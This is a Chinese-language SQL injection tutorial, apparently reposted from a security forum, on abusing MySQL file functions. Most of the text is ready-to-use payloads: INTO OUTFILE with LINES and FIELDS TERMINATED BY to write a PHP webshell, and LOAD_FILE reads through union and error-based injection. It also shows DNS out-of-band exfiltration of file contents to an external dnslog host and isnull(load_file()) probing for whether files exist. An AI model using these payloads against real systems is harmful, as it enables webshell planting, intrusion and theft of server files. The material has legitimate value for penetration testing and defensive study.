1. 程式人生 > >報錯注入邂逅load_file&into outfile搭訕LINES

報錯注入邂逅load_file&into outfile搭訕LINES

https://xz.aliyun.com/t/2460

0x00 前言

近期分析mysql利用報錯注入讀取檔案內容,利用LINES TERMINATED BY在查詢只返回一個欄位時寫webshell檔案,以及如何利用load_file掃描判斷檔案是否存在。

0x01 into outfile寫檔案

  • 要求使用者具有file許可權
  • 檔案不能覆蓋寫入,所以檔案必須為不存在
  • 如果secure_file_priv非空,則寫入檔案的目錄只能為對應目錄下

注意:

FIELDS TERMINATED BY原理為在輸出資料的每個欄位之間插入webshell內容,所以如果select返回的只有一個欄位,則寫入的檔案不包含webshell內容,例如下面語句SELECT username FROM user WHERE id = 1 into outfile 'D:/1.php' FIELDS TERMINATED BY 0x3c3f70687020706870696e666f28293b3f3e

,寫入的檔案中只包含username的值而沒有webshell內容;

LINES TERMINATED BY和LINES STARTING BY原理為在輸出每條記錄的結尾或開始處插入webshell內容,所以即使只查詢一個欄位也可以寫入webshell內容,更為通用。此外,該類方式可以引用於limit等不能union的語句之後進行寫檔案操作。

1. union注入寫檔案

SELECT * FROM user WHERE id = -1 union select 1,2,0x3c3f70687020706870696e666f28293b3f3e into outfile 'D:/1.php'

2. FIELDS TERMINATED BY(可在limit等語句後)

SELECT * FROM user WHERE id = 1 into outfile 'D:/1.php' fields terminated by 0x3c3f70687020706870696e666f28293b3f3e

3. LINES TERMINATED BY(可用於limit等sql注入)

SELECT username FROM user WHERE id = 1 into outfile 'D:/1.php' LINES TERMINATED BY 0x3c3f70687020706870696e666f28293b3f3e

4. LINES STARTING BY(可用於limit等sql注入)

SELECT username FROM user WHERE id = 1 into outfile 'D:/2.php' LINES STARTING  BY 0x3c3f70687020706870696e666f28293b3f3e

0x02 LOAD_FILE讀檔案

  • 要求使用者具有file許可權
  • 如果secure_file_priv非空,則只能讀取對應目錄下的檔案

1. 聯合注入+load_file讀檔案

SELECT * FROM user WHERE id=-1 UNION select 1,'1',(select load_file('D:/1.php'))

2. DNSLOG帶外查詢

  • 需要windows環境
SELECT id FROM user WHERE id = load_file (concat('\\\\',hex((select load_file('D:/1.php'))),'.t00ls.xxxxxxxxx.tu4.org\\a.txt'))

3. 報錯注入+load_file讀檔案

ps:報錯注入讀檔案內容,有時候會由於報錯長度受限或者檔案編碼問題,推薦採用hex編碼方式分段讀取檔案內容

select * from user  where username = '' and updatexml(0,concat(0x7e,(LOAD_FILE('D:/1.php')),0x7e),0)

  select * from user where id=1 and (extractvalue(1,concat(0x7e,(select (LOAD_FILE('D:/1.php'))),0x7e)))

某CMS報錯注入讀取檔案例項1:

某CMS報錯注入讀取檔案例項2:

0x03 掃描檔案是否存在

  • 要求使用者具有file許可權
  • 如果secure_file_priv非空,則只能掃描判斷對應目錄下的檔案

原理:
load_file讀取檔案時,如果沒有對應的許可權獲取或者檔案不存在則函式返回NULL,所以結合isnull+load_file可以掃描判斷檔名是否存在

如果檔案存在,isnull(load_file('檔名'))返回0
mysql> select * from user  where username = '' and updatexml(0,concat(0x7e,isnull(LOAD_FILE('D:/1.php')),0x7e),0);
ERROR 1105 (HY000): XPATH syntax error: '~0~'

如果檔案不存在isnull(load_file('檔名'))返回1
mysql> select * from user  where username = '' and updatexml(0,concat(0x7e,isnull(LOAD_FILE('D:/xxxxx')),0x7e),0);
ERROR 1105 (HY000): XPATH syntax error: '~1~'

某CMS報錯注入掃描檔案例項,存在檔案C:/Windows/win.ini

某CMS報錯注入掃描檔案例項,不存在檔案C:/Windows/passwd


可以結合burp爆破掃描檔名

0x04小結

  • 倘若知道絕對路徑且有許可權時,通常都是直接into outfile寫webshell
  • 不知道網站絕對路徑時,可以嘗試讀取常見的配置檔案獲取網站絕對路徑,然後進行寫操作;或者直接讀取敏感的檔案,獲取資訊進行其他操作。
  • 此外load_file可以在盲注情況下,利用DNSLOG帶外獲取內容,或者hex()函式轉換後按位讀取敏感的檔案內容
  • 還有很多的利用技巧,大家自行研究,多多分享